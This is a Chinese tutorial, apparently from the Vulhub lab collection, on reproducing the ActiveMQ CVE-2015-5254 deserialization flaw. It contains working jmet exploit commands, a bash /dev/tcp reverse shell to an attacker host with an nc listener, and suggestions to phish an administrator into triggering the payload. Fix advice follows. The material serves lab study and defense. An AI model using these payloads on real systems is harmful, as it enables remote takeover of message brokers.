ActiveMQ 反序列化漏洞 CVE-2015-5254 复现:从 jmet 利用到任意命令执行
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
本文基于 Vulhub 仓库中的activemq/CVE-2015-5254漏洞环境,系统讲解 Apache ActiveMQ 5.x(5.13.0 之前)反序列化漏洞的原理、环境搭建与完整利用流程。读者将掌握如何通过 jmet 工具向 61616 端口投递恶意 JMS ObjectMessage,并在 Web 管理控制台触发命令执行,最终实现反弹 Shell 的完整实战方案。
漏洞概述
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源消息中间件,它支持 Java 消息服务(JMS)、集群、Spring Framework 等。作为企业级消息总线,ActiveMQ 负责在分布式系统之间可靠地传递消息,其 OpenWire 协议与 Web 管理控制台是日常运维中的核心入口。
CVE-2015-5254 是 ActiveMQ 5.13.0 之前 5.x 版本中存在的一处反序列化安全漏洞,其根源在于程序没有限制可在代理(Broker)中序列化的类。远程攻击者可借助特制的序列化 Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。由于 Java 原生反序列化机制会递归实例化流中的对象,一旦攻击者能够将包含恶意 gadget 链的字节流送入 Broker 的队列,目标主机即可被远程攻陷。
参考链接:Black Hat USA 2016 议题Pwning Your Java Messaging With Deserialization Vulnerabilities(见 CVE-2015-5254 文档 中给出的 PDF 链接)。
漏洞环境搭建
本仓库在activemq/CVE-2015-5254/目录下提供了开箱即用的漏洞环境,其 docker-compose.yml 内容如下:
version: '2' services: activemq: image: vulhub/activemq:5.11.1 ports: - "61616:61616" - "8161:8161"在activemq/CVE-2015-5254/目录下执行:
docker compose up -d即可启动漏洞环境。环境运行后,容器将监听两个端口:
| 端口 | 作用 |
|---|---|
| 61616 | 工作端口(OpenWire 消息传输端口),消息在这个端口进行传递 |
| 8161 | Web 管理页面端口 |
访问http://your-ip:8161即可看到 Web 管理页面。不过需要明确的是:这个漏洞理论上是不需要 Web 的——利用的本质是向 61616 端口投递恶意消息,Web 管理页面只是复现过程中触发反序列化的便捷途径。
基础镜像源码佐证
本环境使用的vulhub/activemq:5.11.1镜像由仓库 base/activemq/5.11.1/Dockerfile 构建而来:
FROM vulhub/java:7u21-jdk ENV ACTIVEMQ_VERSION 5.11.1 ENV ACTIVEMQ apache-activemq-$ACTIVEMQ_VERSION ENV ACTIVEMQ_TCP=61616 ACTIVEMQ_UI=8161 ENV ACTIVEMQ_HOME /opt/activemq RUN set -x && \ curl -s -S https://archive.apache.org/dist/activemq/$ACTIVEMQ_VERSION/$ACTIVEMQ-bin.tar.gz | tar xvz -C /opt && \ ln -s /opt/$ACTIVEMQ $ACTIVEMQ_HOME WORKDIR $ACTIVEMQ_HOME EXPOSE $ACTIVEMQ_TCP $ACTIVEMQ_UI CMD ["/bin/sh", "-c", "bin/activemq console"]从该 Dockerfile 可以看出两点关键信息:
- JDK 版本为 7u21,即镜像运行在 Java 7 环境上,这与漏洞发生的年代环境一致,也决定了 ysoserial 中 gadget 链的可用性需要结合 JVM 版本与依赖类路径来选取;
- 环境变量
ACTIVEMQ_TCP=61616、ACTIVEMQ_UI=8161与 docker-compose.yml 中映射的端口一一对应,确认了工作端口与管理端口的分工。
此外,仓库还提供了base/activemq/5.11.1/with-cron/变体(Dockerfile 与 entrypoint.sh),它在基础镜像之上额外安装了 cron 与 rsyslog,供需要定时任务辅助的利用场景使用,本 CVE 复现无需该变体。
漏洞利用流程
利用思路总览
整个利用过程可分为三步:
- 构造可执行命令的序列化对象(可以使用 ysoserial);
- 发送:将恶意对象作为一个 JMS 消息,发送给目标 61616 端口;
- 触发:访问 Web 管理页面,读取该消息,触发反序列化,执行任意命令。
第三步之所以能够触发代码执行,是因为 ActiveMQ 在读取ObjectMessage时会对其中的 Java 对象执行ObjectInputStream.readObject()反序列化,而受影响的版本没有对反序列化的类做白名单/黑名单限制,从而让 gadget 链得以生效。
使用 jmet 生成并投递 Payload
为了简化利用,这里使用jmet(Java Message Exploitation Tool)。jmet 的原理是使用 ysoserial 生成 Payload 并发送——其 jar 包内自带 ysoserial,无需再自行下载。因此,我们需要在 ysoserial 的 gadget 中选择一个可用的链,例如ROME。
使用前需注意:先下载 jmet 的 jar 文件,并在同目录下创建一个名为external的文件夹(否则可能会报"文件夹不存在"的错误)。
执行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616各参数含义如下:
| 参数 | 含义 |
|---|---|
-Q event | 指定消息要发送到的队列(Queue)名为event |
-I ActiveMQ | 指定目标中间件类型为 ActiveMQ |
-s | 以序列化(ObjectMessage)方式发送 |
-Y "touch /tmp/success" | 指定要执行的命令 |
-Yp ROME | 指定使用 ysoserial 的 ROME gadget 链 |
your-ip 61616 | 目标地址与 OpenWire 端口 |
命令执行后,jmet 会连接目标的 61616 端口并向队列中投递一条恶意消息,同时给目标 ActiveMQ 添加一个名为event的队列,如下图所示:
在 Web 管理页面触发漏洞
投递完成后,我们可以通过 Web 管理页面查看该队列中的全部消息:
http://your-ip:8161/admin/browse.jsp?JMSDestination=event默认账号密码为admin/admin:
点击查看这条消息,即可触发反序列化与命令执行。此时进入容器验证:
docker compose exec activemq bash在容器内执行ls /tmp可见/tmp/success已成功创建,说明漏洞利用成功:
替换命令实现反弹 Shell
将-Y参数中的命令替换为反弹 Shell 语句,即可复用同样的流程获得目标容器控制权,例如:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/your-vps/4444 0>&1" -Yp ROME your-ip 61616攻击机先nc -lvp 4444监听,随后在管理页面点击消息即可收到反弹的 Shell(复现截图见 4.png)。由于容器以 root 运行(见 entrypoint.sh 中直接以/opt/activemq/bin/activemq console前台启动),获得的即是最高的 root 权限。
触发条件与注意事项
值得特别注意的是:通过 Web 管理页面访问消息并触发漏洞这个过程需要管理员权限(即登录 admin/admin)。这带来两种实战中的触发思路:
- 诱导管理员访问:在没有口令的情况下,可以诱导管理员点击我们的恶意链接(如构造一个包含队列浏览 URL 的钓鱼链接)以触发;
- 伪装合法消息:将恶意负载伪装成其他合法服务所需的消息,等待客户端或消费者在访问该队列时自动触发反序列化——这种方式甚至无需接触 Web 管理页面,进一步印证了"该漏洞理论上不需要 Web"的说法。
此外,利用时还应关注以下前提:
- gadget 链的选择取决于目标 JVM 与类路径:本环境运行于 Java 7u21(见 基础镜像 Dockerfile),ROME 链依赖 ActiveMQ 自带的 ROME 类库,因此在默认安装下可直接使用;
- 61616 端口必须对攻击者可达,否则无法投递消息;8161 端口用于管理触发,若目标限制访问则需改用触发思路 2;
- 复现结束后应执行
docker compose down清理环境。
修复建议
该漏洞在 ActiveMQ 5.13.0 中得到修复,核心缓解措施是引入反序列化类的白名单机制(ObjectMessage反序列化类白名单),阻止任意 gadget 类的加载。实际生产环境中的加固建议包括:
- 将 ActiveMQ 升级到 5.13.0 及以上版本;
- 若无法立即升级,限制 61616 端口仅对可信来源开放,并严格管控 Web 管理控制台的访问与口令强度;
- 对
ObjectMessage的类加载实施白名单策略,从源头阻断恶意 gadget 链。
小结
CVE-2015-5254 是 JMS 消息中间件反序列化攻击的经典案例:攻击面广(消息端口与管理端口均可参与)、利用链成熟(ysoserial + jmet 一键投递)、影响直接(任意命令执行乃至反弹 Shell)。通过本仓库的activemq/CVE-2015-5254环境,可以完整走通"构造 Payload → 投递队列 → 管理页面触发 → 命令执行"的全过程,是理解 Java 反序列化漏洞利用与防御的绝佳实验素材。
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考